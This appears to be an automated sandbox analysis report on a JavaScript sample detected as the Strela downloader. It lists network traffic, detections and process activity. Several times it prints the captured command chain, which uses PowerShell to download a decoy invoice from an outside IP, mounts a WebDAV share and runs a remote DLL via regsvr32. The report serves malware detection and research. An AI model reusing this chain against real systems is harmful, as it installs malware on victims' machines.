Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1722932914.0000019624DDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000003.1790570218.000002105E9DB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1790747968.000002105E9AA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1791539275.000002105E9DD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1791319766.000002105E9AA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1791228120.000002105E980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000003.1790747968.000002105E9AA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1791319766.000002105E9AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/-
Source: net.exe, 00000006.00000002.1791228120.000002105E980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/R
Source: net.exe, 00000006.00000002.1791228120.000002105E980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/j
Source: net.exe, 00000006.00000003.1790747968.000002105E9AA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1791319766.000002105E9AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/r
Source: net.exe, 00000006.00000003.1790747968.000002105E9AA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1791319766.000002105E9AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/y
Source: svchost.exe, 00000008.00000002.3018230175.000001D78C8C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mi
Source: svchost.exe, 00000008.00000002.3018064057.000001D78C811000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1808546811.000001D78C5F8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1808546811.000001D78C5F8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1808546811.000001D78C5F8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1808546811.000001D78C62D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1808546811.000001D78C6A2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1808546811.000001D78C6A2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1808546811.000001D78C6A2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6312, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 21534160892486631756.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6620:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ulgoop4k.1ma.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21534160892486631756.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2164 --field-trial-handle=1580,i,5060979939667623711,5876403959662584586,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2164 --field-trial-handle=1580,i,5060979939667623711,5876403959662584586,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
